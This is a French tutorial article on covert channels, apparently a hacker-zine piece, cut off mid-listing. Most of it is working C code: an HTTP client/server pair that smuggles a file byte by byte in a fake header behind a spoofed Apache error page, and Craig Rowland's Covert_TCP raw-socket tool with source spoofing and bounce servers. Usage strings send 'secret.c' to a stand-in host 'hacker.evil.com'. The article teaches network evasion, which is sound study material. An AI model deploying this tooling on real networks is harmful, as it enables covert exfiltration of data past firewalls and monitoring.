Préface
Je souhaitais partager avec toi publique un article écrit il y a quelque temps déjà
mais encore d'actualité. Il présente la mise en application de différentes techniques
de covert channel ou communication cachée.
Explication générale
Le covert channel peut être traduit en français par flux de
données camouflées.
Un covert channel est une technique ayant pour but de faire passer au travers
d'un firewall des données. Ces données doivent être
présentent dans un paquet sans être visible par le firewall
ou l'administrateur qui sniff son réseau. Pour cela on a recours
à différentes techniques variables en fonction des protocoles
choisis. Mais en général le choix s'oriente naturellement
vers les headers des paquets car ceux-ci sont rarement filtrés par
les firewalls.
De plus les champs optionnels et/ou de grande taille sont préférés
par les hackers car il s'agit là de pouvoir y placer un maximum d'information.
Le covert channel et le tunneling sont deux techniques distinct contrairement
à ce que peuvent penser certaines personnes. Le tunneling consiste
à encapsuler un protocole dans un autre (au niveau du corps) tandis
que les covert channel eux, fonctionne en... vous verrez bien après
avoir lu cet article :).
Introduction
Le but premier de cet article est de vous présentez quelques méthodes
de covert channel accompagnés de code en C fonctionnant sous linux.
J'ai d'abord voulu intégrer l'échange de données sous
la forme de routines permettant d'envoyer des commandes à une backdoor.
Mais au fur et à mesure du développement j'ai intégré
le code de façon à ce qu'il puisse transférer des données
au sein des paquets.
Les codes présents dans cet article sont des proof of concepts, comprenez
qu'ils ne sont ni optimisés ni même sécurisés.
C'est seulement des exemples (à ne pas suivre) pour expliquer d'une
façon moins théorique les coverts channels.
Exemple : Protocole HTTP
Le protocole HTTP est un protocole de haut niveau qu'il est donc difficile
de filtrer surtout qu'il est très utilisé et, de plus, il
est souvent accompagné, au niveau des requêtes, d'informations
annexes envoyées par des modules/plug-in. On peut dire qu'il s'agit
là d'un protocole tout à fait adapté au covert channel:
un header contenant des champs permettant de stocker beaucoup de données,
la possibilité de stocker les données dans le corps de façon
transparente. Ce protocole, du fait de ses spécificités, est
assez difficile à filtrer.
De plus comme il s'agit d'un protocole de haut niveau nous n'avons besoin
que des sock_stream pour travailler avec donc il n'y a pas besoin des droits
root.
Vous trouverez plus d'informations sur ces spécifications dans les
[RFC].
Tout d'abord abordons les différents modèles client/serveur
:
- Le modèle serveur httpd: il consiste en un programme "émulant"
le fonctionnement d'un serveur httpd tout en récupérant les
données cachées dans la requête (méthode utilisée
dans le code source).
- Le modèle serveur proxy: modèle consistant en un programme
"émulant" le fonctionnement d'un proxy, le serveur attend l'arrivée
de la requête, récupère les données cachées
puis agit comme un proxy en renvoyant la requête vers le serveur httpd
demandé.
- Le modèle serveur CGI: cette technique nécessite de mettre
en place un script CGI sur le httpd cible pour que le script agisse comme
un CGI mais récupère les données camouflées
via l'URI ou les autres variables d'environnement ou encore via le corps
du message.
Intéressons nous maintenant aux champs, qui pourrait nous intéresser,
d'une requête HTTP de type GET :
- La chaîne URI: Il est facile de cacher des données sous forme
d'arguments via l'URI
GET http://www.somehost.com/cgi-bin/board.cgi?view=12121212 / HTTP/1.0
Ici on voit bien que la variable view de l'URI peut contenir les données
cachées (ici c'est flagrant mais il est très facile de créer
un hash md5 et de faire croire qu'il s'agit d'un numéro de session
par exemple).
- User-Agent: Dans ce champ on peut dissimuler ses données bien que
ce soit moins évident que pour le champ précédent.
User-Agent: Mozilla/5.0 (12121212)
Ici on pourrait formatter la donnée pour quelle soit cachée
dans la version du système ou du navigateur: (Linux 2.4.12 Konqueror/1.2)
Gecko/12121212 par exemple.
- Accept-Charset: Ce champ normalement utiliser pour définir
les charset utilisés par le navigateur peut camoufler certaines valeurs.
>Accept-Charset: ISO-8859-1,utf-8,ISO-1212-1
- Les champs étendus du header (qui eux peuvent être filtrés
par les firewall) peuvent permettre d'inclure des données dans l'entête
de taille variable.
X-Microsoft-Plugin: unexpected error #12121212
C'est la méthode utilisée par le code source mais n'est pas
la plus furtive.
Pour (beaucoup ?) plus de détails sur les covert channel HTTP, lisez
l'excellent texte de Simon Castro [CASTRO].
Attaquons la pratique :
Du côté du client :
client.h :
1 #include <stdio.h>
2 #include <stdlib.h>
3 #include <errno.h>
4 #include <string.h>
5 #include <netdb.h>
6 #include <sys/types.h>
7 #include <netinet/in.h>
8 #include <sys/socket.h>
9 #define PORT 31337 /* the port client will be connecting to */
10 #define MAXDATASIZE 1024 /* max number of bytes we can get at once */
11 char *CreateQuery(char *, char *, int);
client.c:
1 #include "client.h"
2 int main(int argc, char *argv[])
3 {
4 int sockfd, numbytes, ch;
5 char *requete = (char *)malloc(1024*sizeof(char));
6 char target[20], uri[80], buf[MAXDATASIZE+1];
7 struct hostent *he;
8 struct sockaddr_in their_addr;
9 FILE *input;
10
11
12 if (argc != 4) {
13 fprintf(stderr,"Usage: %s Target Page File\n", argv[0]);
14 fprintf(stderr,"Example: %s 195.25.63.78 /index.htm exploit.c\n", argv[0]);
15 fprintf(stderr,"Page max size is 80 characters\n");
16 fprintf(stderr,"File must contain ascii characters\n\n");
17 exit(1);
18 }
19
20 strncpy(target, argv[1], 17);
21 strncpy(uri, argv[2], 79);
22
23 if ((he=gethostbyname(target)) == NULL) {
24 herror("gethostbyname");
25 exit(1);
26 }
27
28 if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
29 perror("socket");
30 exit(1);
31 }
32 their_addr.sin_family = AF_INET;
33 their_addr.sin_port = htons(PORT);
34 their_addr.sin_addr = *((struct in_addr *)he->h_addr);
35 bzero(&(their_addr.sin_zero), 8);
36
37 if (connect(sockfd, (struct sockaddr *)&their_addr, sizeof(struct sockaddr)) == -1) {
38 perror("connect");
39 exit(1);
40 }
41
42 if((input = fopen(argv[3], "rb")) == NULL) {
43 printf("I cannot open file %s for reading", argv[3]);
44 exit(1);
45 }
46
47 else while((ch = fgetc(input)) != EOF) {
48
49 sleep(1);
50
51 requete = CreateQuery(uri, target, ch);
52 if (send(sockfd, requete, strlen(requete)+1, 0) == -1) {
53 perror("send");
54 break;
55 }
56
57 printf("Sending Data: %c\n",ch);
58
59 while ((numbytes = read(sockfd, buf, MAXDATASIZE)) != 0) {
60 buf[numbytes] = '\0';
61 printf("Data successfully received.\n");
62 break;
63 }
64 }
65 fclose(input);
66 free(requete);
67 close(sockfd);
68 return 0;
69 }
70 char *CreateQuery(char *page, char *host, int ch) {
71 char *header = (char *)malloc(1024*sizeof(char));
72
73 sprintf(header,
74 "GET %s HTTP/1.1\r\n"
75 "Host %s\r\n"
76 "User-Agent: Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.6) Gecko/20040115\r\n"
77 "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,image/jpeg,image/gif;q=0.2,*/*;q=0.1\r\n"
78 "Accept-Language: fr,en;q=0.5\r\n"
79 "Accept-Encoding: gzip,deflate\r\n"
80 "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n"
81 "Keep-Alive: 300\r\n"
82 "Connection: keep-alive\r\n"
83 "X-Microsoft-Plugin: unexpected error %d\r\n"
84 "\r\n",page,host,ch
85 );
86 return (header);
87 }
Dans client.h on retrouve tous les headers nécessaires à la
communication réseau et aux fonctions utilisées dans le code.
Passons à client.c :
lignes 4 à 9 on s'occupe de déclarer/initialiser les données.
lignes 12 à 21 petite vérification de base des arguments passés
au programme.
lignes 23 à 26 on récupère l'ip en fonction du DNS
passer.
lignes 28 à 31 on s'occupe de créer le socket (un fichier
où passeront toutes les données échangées).
lignes 32 à 35 on remplit la structure sockaddr_in.
lignes 37 à 40 on se connecte au serveur.
lignes 42 à 45 on s'occupe d'ouvrir le fichier à transférer
(le fichier doit être un fichier texte) en mode binaire et non pas
texte (pour pouvoir convertir les caractères en leurs code ASCII).
ligne 47 on créé une boucle pour envoyer un paquet pour chaque
caractère (ceci peut être optimiser pour envoyer plus de données
d'un coup).
ligne 49 on met un sleep(1) pour éviter les pertes de données
(sur internet sans le sleep les données s'enchaînent et il
peut y avoir des pertes de données).
ligne 50 on saute à CreateQuery()
lignes 70 à 87 CreateQuery s'occupe de créé une requête
contenant une erreur : 75 "Host %s\r\n" devrait être "Host: %s\r\n".
lignes 52 à 55 on balance la requête.
lignes 59 à 63 on attend la réponse du serveur pour être
sûr que les données ont bien été reçus.
lignes 65 à 68 on ferme tout :).
Du côter du serveur :
server.h:
1 #include <stdio.h>
2 #include <stdlib.h>
3 #include <errno.h>
4 #include <string.h>
5 #include <sys/types.h>
6 #include <netinet/in.h>
7 #include <sys/socket.h>
8 #include <sys/wait.h>
9 #define MYPORT 31337 /* the port users will be connecting to */
10 #define BACKLOG 10 /* how many pending connections queue will hold */
11 #define MAXDATASIZE 2048
12 int ParseResp(char *);
13 char *CreateQuery(char *);
server.c:
1 #include "server.h"
2 int main(int argc, char *argv[])
3 {
4 int sockfd, new_fd, numbytes = 0;
5 struct sockaddr_in my_addr;
6 struct sockaddr_in their_addr;
7 int sin_size, rec, ch;
8 char *buf = (char *)malloc(2048*sizeof(char));
9 char *respons = (char *)malloc(1024*sizeof(char));
10 char localdns[81];
11 FILE *output;
12
13 if (argc != 3) {
14 fprintf(stderr,"Usage: %s LocalDNS File\n", argv[0]);
15 fprintf(stderr,"Example: %s www.evil.us /tmp/xploit.c\n", argv[0]);
16 fprintf(stderr,"LocalDNS must not exceed 80 characters\n\n");
17 exit(1);
18 }
19
20 strncpy(localdns, argv[1], 80);
21
22 if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
23 perror("socket");
24 exit(1);
25 }
26 my_addr.sin_family = AF_INET; /* host byte order */
27 my_addr.sin_port = htons(MYPORT); /* short, network byte order */
28 my_addr.sin_addr.s_addr = INADDR_ANY; /* auto-fill with my IP */
29 bzero(&(my_addr.sin_zero), 8); /* zero the rest of the struct */
30
31 if (bind(sockfd, (struct sockaddr *)&my_addr, sizeof(struct sockaddr)) == -1){
32 perror("bind");
33 exit(1);
34 }
35
36 if (listen(sockfd, BACKLOG) == -1) {
37 perror("listen");
38 exit(1);
39 }
40 if((output=fopen(argv[2],"wb"))== NULL) {
41 printf("I cannot open the file %s for writing\n",argv[2]);
42 exit(1);
43 }
44 while(1) { /* main accept() loop */
45 sin_size = sizeof(struct sockaddr_in);
46 if ((new_fd = accept(sockfd, (struct sockaddr *)&their_addr, &sin_size))==-1){
47 perror("accept");
48 exit(1);
49 }
50 printf("server: got connection from %s\n", inet_ntoa(their_addr.sin_addr));
51 while ((read(new_fd, buf, MAXDATASIZE)) != 0) {
52 sprintf(buf, "%s"+'\0', buf);
53 ch = ParseResp(buf);
54 fprintf(output,"%c",ch);
55 fflush(output);
56 memset(buf, 0, strlen(buf));
57 respons = CreateQuery(localdns);
58 if (send(new_fd, respons, strlen(respons), 0) == -1)
59 perror("send");
60 }
61
62 close(new_fd);
63 free(respons);
64 free(buf);
65 }
66 fclose(output);
67 return 0;
68 }
69 char *CreateQuery(char *host) {
70 char *header = (char *)malloc(1024*sizeof(char)), *data = (char *)malloc(1024*sizeof(char));
71 char *tmp = (char *)malloc(1024*sizeof(char));
72
73 sprintf(data,
74 "17c\r\n"
75 "<!DOCTYPE HTML PUBLIC \"-//IETF//DTD HTML 2.0//EN\">\r\n"
76 "<HTML><HEAD>\r\n"
77 "<TITLE>400 Bad Request</TITLE>\r\n"
78 "</HEAD><BODY>\r\n"
79 "<H1>Bad Request</H1>\r\n"
80 "Your browser sent a request that this server could not understand.<P>\r\n"
81 "Request header field is missing colon separator.<P>\r\n"
82 "<PRE>\r\n"
83 "Host %s</PRE>\r\n"
84 "<P>\r\n"
85 "<HR>\r\n"
86 "<ADDRESS>Apache/1.3.27 Server at %s Port 80</ADDRESS>\r\n"
87 "</BODY></HTML>\r\n"
88 "\r\n"
89 "0\r\n", host, host);
90
91 sprintf(header,
92 "HTTP/1.1 400 Bad Request\r\n"
93 "Date: Mon, 26 Jul 2004 11:07:48 GMT\r\n"
94 "Server: Apache/1.3.27 (Unix) mod_tsunami/1.1 AuthMySQL/2.20\r\n"
95 "Connection: close\r\n"
96 "Transfer-Encoding: chunked\r\n"
97 "Content-Type: text/html; charset=iso-8859-1\r\n"
98 "\r\n");
99 sprintf(tmp,"%s%s",header,data);
100 free(header);
101 free(data);
102 return (tmp);
103 }
104 int ParseResp(char *query) {
105 char *result = (char *)malloc(24 * sizeof(char));
106 unsigned short ch;
107
108 memcpy(result, query+strlen(query)-7, 8);
109 ch = atoi(result);
110 printf("Received: %c\n", ch);
111 free(result);
112 return ch;
113 }
En ce qui concerne server.h, c'est pareil que pour client.h.
Dans server.c :
lignes 4 à 11 on déclare/initialise les variables.
lignes 13 à 20 petite vérification de base des arguments passés
au serveur.
lignes 22 à 25 on créé le socket.
lignes 26 à 29 on remplit sockaddr_in.
lignes 31 à 39 on initialise le serveur avec bind et listen.
lignes 40 à 43 on ouvre le fichier où l'on va écrire.
lignes 45 à 50 on attend la connection d'un client.
ligne 51 tant que l'on reçois des données on lit le socket.
ligne 53 on saute vers ParseResp().
lignes 104 à 113 ParseResp s'occupe de chercher les données
cachées (à la fin du paquet): ligne 108 on se place 7 octets
avant la fin du paquet et on récupère les 8 octets qui suivent.
ligne 109 on convertis la string en integer (atoi).
lignes 54 et 55 on écrit le résultat du parse dans le fichier.
ligne 57 on créé une requête de réponse de type
"400 Bad Request" au format http 1.1
lignes 58 à 60 on balance la requête au client.
lignes 63 à 67 on nettoie tout ça et on quit.
Comme je le disais ce code est assez sale (quoique j'ai déjà
vu pire) et on pourrait y ajouter un grand nombre d'optimisations.
Par exemple, l'utilisation de threads au niveau du serveur pour qu'il puisse
recevoir plusieurs paquets à la fois (la communication irait beaucoup
plus vite). Une technique cryptographique ou de formattage des données
envoyées.
Et d'autres encore.
[RFC] :
http://abcdrfc.free.fr/rfc-vf/rfc1945.html RFC HTTP 1.0 vf
http://abcdrfc.free.fr/rfc-vf/rfc2616.html RFC HTTP 1.1 vf
[CASTRO] :
http://www.gray-world.net/projects/papers/html/cctde.html
Exemple: Protocole TCP
Les covert channel dans le header TCP sont bien connus ; le header TCP contient
plusieurs champs d'assez grande taille ou optionnels. Il s'agit d'un protocole
assez complexe (au niveau de l'header) ce qui ne fait que nous arranger
:).
Pour manipuler des paquets TCP il faut utiliser les sock_raw et donc les
droits root.
Pour plus d'informations je vous invite à consulter la [RFC] TCP qui vous éclairera surement.
Le header TCP est constituer de :
Les champs qui peuvent nous intéresser sont :
- Séquence: contenant le numéro de séquence capable
d'identifier le paquet dans le flux
- Le numéro d'ACK: contenant le numéro de séquence
+ 1 dans le cas où l'on utilise un serveur de rebond. Plus d'explications
là-dessus plus loin.
- Les flags: ce champ sert à spécifier le type de paquet TCP
(SYN pour initialiser une connection, ACK pour confirmer la demande de connection...).
On peut facilement utiliser les flags pour représenter une variable
stockée en dur du côter serveur: on active les flags URG, PSH
et FIN ce ki donne 101001 qui sera interpréter côter serveur
comme une commande.
En fin de paquet il existe des champs optionnels que l'on peut rajoutés
:
- Les options: Ce champ peut occuper une taille variable mais doit, à
l'aide du bourrage, toujours être un multiple de 8.
Il existe également un pseudo header qui permet à TCP d'éviter
les erreurs de routage :
Si vous n'avez pas le courage de lire en entier la RFC TCP (ce qui est compréhensible)
allez faire un tour sur [FrameIp].
Le code source que je vais vous présenter utilise le champ Séquence
pour cacher ses données et devrait normalement être capable
d'utiliser un serveur de rebond puis de récupérer les données
dans le champ Numéro d'ACK.
Une petite explication s'impose, comme vous l'avez vu plus haut le champ
Numéro d'ACK = le champ Séquence +1. Le champ Numéro
d'ACK est utilisé seulement après une demande de connection
(flag SYN), le fonctionnement du programme consiste à envoyer un
SYN vers un serveur de rebond en falsifiant l'adresse source pour que le
serveur de rebond renvoit le paquet vers le serveur de notre création
qui va s'occuper d'extraire les données dans le champ Numéro
d'ACK.
Voyons cela dans la pratique :
Ces codes sont tirés d'un article très intéressant
sur les covert channel TCP et IP: [ROWLANDCOVER].
Je n'ai fait que séparer le côter client/serveur et le covert
channel TCP et IP.
client.h:
1 #include <stdio.h>
2 #include <stdlib.h>
3 #include <signal.h>
4 #include <string.h>
5 #include <unistd.h>
6 #include <netdb.h>
7 #include <netinet/in.h>
8 #include <sys/socket.h>
9 #include <arpa/inet.h>
10 #include <linux/ip.h>
11 #include <linux/tcp.h>
12 void forgepacket(unsigned int, unsigned int, unsigned short, unsigned short, char *,
13 int);
14
15 unsigned int host_convert(char *);
16 unsigned short in_cksum(unsigned short *, int);
17 void usage(char *);
client.c:
1 /* Covert_TCP 1.0 - Covert channel file transfer for Linux
2 * Written by Craig H. Rowland (crowland@psionic.com)
3 * Copyright 1996 Craig H. Rowland (11-15-96)
4 * NOT FOR COMMERCIAL USE WITHOUT PERMISSION.
5 *
6 *
7 * This program manipulates the TCP/IP header to transfer a file one byte
8 * at a time to a destination host. This progam can act as a server and a client
9 * and can be used to conceal transmission of data inside the IP header.
10 * This is useful for bypassing firewalls from the inside, and for
11 * exporting data with innocuous looking packets that contain no data for
12 * sniffers to analyze. In other words, spy stuff... :)
13 *
14 * PLEASE see the enclosed paper for more information!!
15 *
16 * This software should be used at your own risk.
17 *
18 * compile: cc -o covert_tcp covert_tcp.c
19 *
20 *
21 * Portions of this code based on ping.c (c) 1987 Regents of the
22 * University of California. (See function in_cksm() for details)
23 *
24 * Small portions from various packet utilities by unknown authors
25 */
26 #include "client.h"
27 int main(int argc, char *argv[]) {
28 unsigned int source_host=0,dest_host=0;
29 unsigned short source_port=0,dest_port=80;
30 int seq=0,file=0;
31 int count;
32 char desthost[80],srchost[80],filename[80];
33 if(geteuid() !=0)
34 {
35 printf("\nYou need to be root to run this because it use sock_raw.\n\n");
36 exit(0);
37 }
38
39 if(argc != 11)
40 {
41 usage(argv[0]);
42 exit(0);
43 }
44 for(count=0; count < argc; ++count)
45 {
46 if (strcmp(argv[count],"-dest") == 0)
47 {
48 dest_host=host_convert(argv[count+1]);
49 strncpy(desthost,argv[count+1],79);
50 }
51
52 else if (strcmp(argv[count],"-source") == 0)
53 {
54 source_host=host_convert(argv[count+1]);
55 strncpy(srchost,argv[count+1],79);
56 }
57 else if (strcmp(argv[count],"-file") == 0)
58 {
59 strncpy(filename,argv[count+1],79);
60 file=1;
61 }
62 else if (strcmp(argv[count],"-source_port") == 0)
63 source_port=atoi(argv[count+1]);
64 else if (strcmp(argv[count],"-dest_port") == 0)
65 dest_port=atoi(argv[count+1]);
66 }
67 seq=1;
68 if(file != 1)
69 {
70 printf("\n\nYou need to supply a filename (-file <filename>)\n\n");
71 exit(1);
72 }
73 if (source_host == 0 && dest_host == 0)
74 {
75 printf("\n\nYou need to supply a source and destination address for client mode.\n\n");
76 exit(1);
77 }
78 else
79 {
80 printf("Destination Host: %s\n",desthost);
81 printf("Source Host : %s\n",srchost);
82 if(source_port == 0)
83 printf("Originating Port: random\n");
84 else
85 printf("Originating Port: %u\n",source_port);
86 printf("Destination Port: %u\n",dest_port);
87 printf("Encoded Filename: %s\n",filename);
88 printf("Encoding Type : IP Sequence Number\n");
89 printf("\nClient Mode: Sending data.\n\n");
90 }
91
92 forgepacket(source_host, dest_host, source_port, dest_port,filename,seq);
93 exit(0);
94 }
95 void forgepacket(unsigned int source_addr, unsigned int dest_addr, unsigned \
96 short source_port, unsigned short dest_port, char *filename, int seq) {
97 struct send_tcp
98 {
99 struct iphdr ip;
100 struct tcphdr tcp;
101 } send_tcp;
102 struct pseudo_header
103 {
104 unsigned int source_address;
105 unsigned int dest_address;
106 unsigned char placeholder;
107 unsigned char protocol;
108 unsigned short tcp_length;
109 struct tcphdr tcp;
110 } pseudo_header;
111 int ch;
112 int send_socket;
113 struct sockaddr_in sin;
114 FILE *input;
115
116 srand((getpid())*(dest_port));
117
118 if((input=fopen(filename,"rb"))== NULL)
119 {
120 printf("I cannot open the file %s for reading\n",filename);
121 exit(1);
122 }
123 else while((ch=fgetc(input)) !=EOF)
124 {
125 sleep(1);
126 send_tcp.ip.ihl = 5;
127 send_tcp.ip.version = 4;
128 send_tcp.ip.tos = 0;
129 send_tcp.ip.tot_len = htons(40);
130 send_tcp.ip.id =(int)(255.0*rand()/(RAND_MAX+1.0));
131 send_tcp.ip.frag_off = 0;
132 send_tcp.ip.ttl = 64;
133 send_tcp.ip.protocol = IPPROTO_TCP;
134 send_tcp.ip.check = 0;
135 send_tcp.ip.saddr = source_addr;
136 send_tcp.ip.daddr = dest_addr;
137 if(source_port == 0)
138 send_tcp.tcp.source = 1+(int)(10000.0*rand()/(RAND_MAX+1.0));
139 else
140 send_tcp.tcp.source = htons(source_port);
141 send_tcp.tcp.seq = ch;
142 send_tcp.tcp.dest = htons(dest_port);
143 send_tcp.tcp.ack_seq = 0;
144 send_tcp.tcp.res1 = 0;
145 send_tcp.tcp.doff = 5;
146 send_tcp.tcp.fin = 0;
147 send_tcp.tcp.syn = 1;
148 send_tcp.tcp.rst = 0;
149 send_tcp.tcp.psh = 0;
150 send_tcp.tcp.ack = 0;
151 send_tcp.tcp.urg = 0;
152 send_tcp.tcp.ece = 0;
153 send_tcp.tcp.window = htons(512);
154 send_tcp.tcp.check = 0;
155 send_tcp.tcp.urg_ptr = 0;
156 sin.sin_family = AF_INET;
157 sin.sin_port = send_tcp.tcp.source;
158 sin.sin_addr.s_addr = send_tcp.ip.daddr;
159 send_socket = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
160 if(send_socket < 0)
161 {
162 perror("send socket cannot be open. Are you root?");
163 exit(1);
164 }
165 send_tcp.ip.check = in_cksum((unsigned short *)&send_tcp.ip, 20);
166
167 pseudo_header.source_address = send_tcp.ip.saddr;
168 pseudo_header.dest_address = send_tcp.ip.daddr;
169 pseudo_header.placeholder = 0;
170 pseudo_header.protocol = IPPROTO_TCP;
171 pseudo_header.tcp_length = htons(20);
172 bcopy((char *)&send_tcp.tcp, (char *)&pseudo_header.tcp, 20);
173 send_tcp.tcp.check = in_cksum((unsigned short *)&pseudo_header, 32);
174 sendto(send_socket, &send_tcp, 40, 0, (struct sockaddr *)&sin, sizeof(sin));
175 printf("Sending Data: %c\n",ch);
176 close(send_socket);
177 }
178 fclose(input);
179 }
180 unsigned int host_convert(char *hostname){
181 static struct in_addr i;
182 struct hostent *h;
183 i.s_addr = inet_addr(hostname);
184 if(i.s_addr == -1)
185 {
186 h = gethostbyname(hostname);
187 if(h == NULL)
188 {
189 fprintf(stderr, "cannot resolve %s\n", hostname);
190 exit(0);
191 }
192 bcopy(h->h_addr, (char *)&i.s_addr, h->h_length);
193 }
194 return i.s_addr;
195 }
196 unsigned short in_cksum(unsigned short *ptr, int nbytes){
197 register long sum; /* assumes long == 32 bits
198 */
199 u_short oddbyte;
200 register u_short answer; /* assumes u_short == 16 bits */
201 /*
202 * Our algorithm is simple, using a 32-bit accumulator (sum),
203 * we add sequential 16-bit words to it, and at the end, fold back
204 * all the carry bits from the top 16 bits into the lower 16 bits.
205 */
206 sum = 0;
207 while (nbytes > 1) {
208 sum += *ptr++;
209 nbytes -= 2;
210 }
211 /* mop up an odd byte, if necessary */
212 if (nbytes == 1) {
213 oddbyte = 0; /* make sure top half is zero */
214 *((u_char *) &oddbyte) = *(u_char *)ptr; /* one byte only */
215 sum += oddbyte;
216 }
217 /*
218 * Add back carry outs from top 16 bits to low 16 bits.
219 */
220 sum = (sum >> 16) + (sum & 0xffff); /* add high-16 to low-16 */
221 sum += (sum >> 16); /* add carry */
222 answer = ~sum; /* ones-complement, then truncate to 16 bits
223 */
224 return(answer);
225 }
226 void usage(char *progname){
227 printf("Covert TCP usage: \n%s -dest dest_ip -source source_ip -file \
228 filename -source_port port -dest_port port\n\n",
229 progname);
230 printf("-dest dest_ip - Host to send data to.\n");
231 printf("-source source_ip - Host where you want the data to originate \
232 from.\n");
233 printf("-source_port port - IP source port you want data to appear from. \n");
234 printf(" (randomly set by default)\n");
235 printf("-dest_port port - IP source port you want data to go to. In\n");
236 printf(" SERVER mode this is the port data will be coming\n");
237 printf(" inbound on. Port 80 by default.\n");
238 printf("-file filename - Name of the file to encode and transfer.\n");
239 printf("\nPress ENTER for examples.");
240 getchar();
241 printf("\nExample: \nclient -dest foo.bar.com -source hacker.evil.com - \
242 source_port 1234 -dest_port 80 -file secret.c\n\n");
243 printf("Above sends the file secret.c to the host hacker.evil.com a byte \n");
244 printf("at a time using the default IP packet ID encoding.\n");
245 exit(0);
246 }
client.h: on retrouve les headers nécessaires au programme et le
prototype des fonctions de notre création.
Dans client.c:
lignes 28 à 91: on filtre les options passées au programme
et on les stocks.
ligne 92: on appel la fonction forgepacket() qui s'occupe de presque tout.
lignes 97 à 110: on créé une structure contenant les
header IP et TCP et on créé le pseudo header TCP.
ligne 116: on initialise le générateur de nombres pseudo-aléatoire.
lignes 118 à 122: on essaye d'ouvrir le fichier qui contient les
données envoyées.
ligne 123 à 179: on créé une boucle qui s'occupe de
remplir l'header et de l'envoyer pour chaque caractère présent
dans le fichier texte.
ligne 125: on retrouve le sleep(1) qui s'occupe d'espacer le temps d'envoie
pour éviter les pertes de données.
ligne 141: on voit bien la copie du caractère (de son code ASCII
exacement) dans le champ N° de Séquence.
lignes 178 et 179: on ferme le fichier et la fonction principale.
lignes 180 à 195: la fonction host_convert() sert à résoudre
les ip passées au programme.
lignes 196 à 225: la fonction servant à calculer le checksum
(il s'agit d'une fonction passe-partout pour calculer les checksum des paquets
UDP et TCP).
lignes 226 à 246: cette fonction sert à afficher l'aide.
Du côter du serveur:
server.h:
1 #include <stdio.h>
2 #include <stdlib.h>
3 #include <signal.h>
4 #include <string.h>
5 #include <unistd.h>
6 #include <netdb.h>
7 #include <netinet/in.h>
8 #include <sys/socket.h>
9 #include <arpa/inet.h>
10 #include <linux/ip.h>
11 #include <linux/tcp.h>
12 void forgepacket(unsigned int, unsigned int, unsigned short, unsigned short, char *,
13 int, int);
14
15 unsigned int host_convert(char *);
16 unsigned short in_cksum(unsigned short *, int);
17 void usage(char *);
server.c:
1 /* Covert_TCP 1.0 - Covert channel file transfer for Linux
2 * Written by Craig H. Rowland (crowland@psionic.com)
3 * Copyright 1996 Craig H. Rowland (11-15-96)
4 * NOT FOR COMMERCIAL USE WITHOUT PERMISSION.
5 *
6 *
7 * This program manipulates the TCP/IP header to transfer a file one byte
8 * at a time to a destination host. This progam can act as a server and a client
9 * and can be used to conceal transmission of data inside the IP header.
10 * This is useful for bypassing firewalls from the inside, and for
11 * exporting data with innocuous looking packets that contain no data for
12 * sniffers to analyze. In other words, spy stuff... :)
13 *
14 * PLEASE see the enclosed paper for more information!!
15 *
16 * This software should be used at your own risk.
17 *
18 * compile: cc -o covert_tcp covert_tcp.c
19 *
20 *
21 * Portions of this code based on ping.c (c) 1987 Regents of the
22 * University of California. (See function in_cksm() for details)
23 *
24 * Small portions from various packet utilities by unknown authors
25 */
26 #include "server.h"
27 int main(int argc, char *argv[]){
28 unsigned int source_host=0,dest_host=0;
29 unsigned short source_port=0,dest_port=80;
30 int seq=0,ack=0,file=0;
31 int count;
32 char desthost[80],srchost[80],filename[80];
33 if(geteuid() !=0)
34 {
35 printf("\nYou need to be root to run this.\n\n");
36 exit(0);
37 }
38 if((argc < 6) || (argc > 13))
39 {
40 usage(argv[0]);
41 exit(0);
42 }
43 for(count=0; count < argc; ++count)
44 {
45 if (strcmp(argv[count],"-dest") == 0)
46 {
47 dest_host=host_convert(argv[count+1]);
48 strncpy(desthost,argv[count+1],79);
49 }
50
51 else if (strcmp(argv[count],"-source") == 0)
52 {
53 source_host=host_convert(argv[count+1]);
54 strncpy(srchost,argv[count+1],79);
55 }
56 else if (strcmp(argv[count],"-file") == 0)
57 {
58 strncpy(filename,argv[count+1],79);
59 file=1;
60 }
61 else if (strcmp(argv[count],"-source_port") == 0)
62 source_port=atoi(argv[count+1]);
63 else if (strcmp(argv[count],"-dest_port") == 0)
64 dest_port=atoi(argv[count+1]);
65 else if (strcmp(argv[count],"-seq") == 0)
66 seq=1;
67 else if (strcmp(argv[count],"-ack") == 0)
68 ack=1;
69 }
70
71 if(seq+ack == 0)
72 seq=1;
73
74 else if (seq+ack !=1)
75 {
76 printf("\n\nOnly one encoding/decode flag (-seq -ack) can be used at a time.\n\n");
77 exit(1);
78 }
79 if(file != 1)
80 {
81 printf("\n\nYou need to supply a filename (-file <filename>)\n\n");
82 exit(1);
83 }
84
85 if (source_host == 0 && source_port == 0)
86 {
87 printf("You need to supply a source address and/or source port for server mode.\n");
88 exit(1);
89 }
90 if(dest_host == 0)
91 strcpy(desthost,"Any Host");
92 if(source_host == 0)
93 strcpy(srchost,"Any Host");
94 printf("Listening for data from IP: %s\n",srchost);
95
96 if(source_port == 0)
97 printf("Listening for data bound for local port: Any Port\n");
98 else
99 printf("Listening for data bound for local port: %u\n",source_port);
100 printf("Decoded Filename: %s\n",filename);
101 if(seq == 1)
102 printf("Decoding Type Is: IP Sequence Number\n");
103 else if(ack == 1)
104 printf("Decoding Type Is: IP ACK field bounced packet.\n");
105 printf("\nServer Mode: Listening for data.\n\n");
106 forgepacket(source_host, dest_host, source_port, dest_port,filename,seq,ack);
107 exit(0);
108 }
109 void forgepacket(unsigned int source_addr, unsigned int dest_addr, unsigned \
110 short source_port, unsigned short dest_port, char *filename, int seq, int ack) {
111 struct recv_tcp
112 {
113 struct iphdr ip;
114 struct tcphdr tcp;
115 char buffer[10000];
116 } recv_pkt;
117 int recv_socket;
118 FILE *output;
119
120 srand((getpid())*(dest_port));
121
122 if((output=fopen(filename,"wb"))== NULL)
123 {
124 printf("I cannot open the file %s for writing\n",filename);
125 exit(1);
126 }
127 while(1)
128 {
129 recv_socket = socket(AF_INET, SOCK_RAW, 6);
130
131 if(recv_socket < 0)
132 {
133 perror("receive socket cannot be open. Are you root?");
134 exit(1);
135 }
136 read(recv_socket, (struct recv_tcp *)&recv_pkt, 9999);
137 if (source_port == 0)
138 {
139 if((recv_pkt.tcp.syn == 1) && (recv_pkt.ip.saddr == source_addr))
140 {
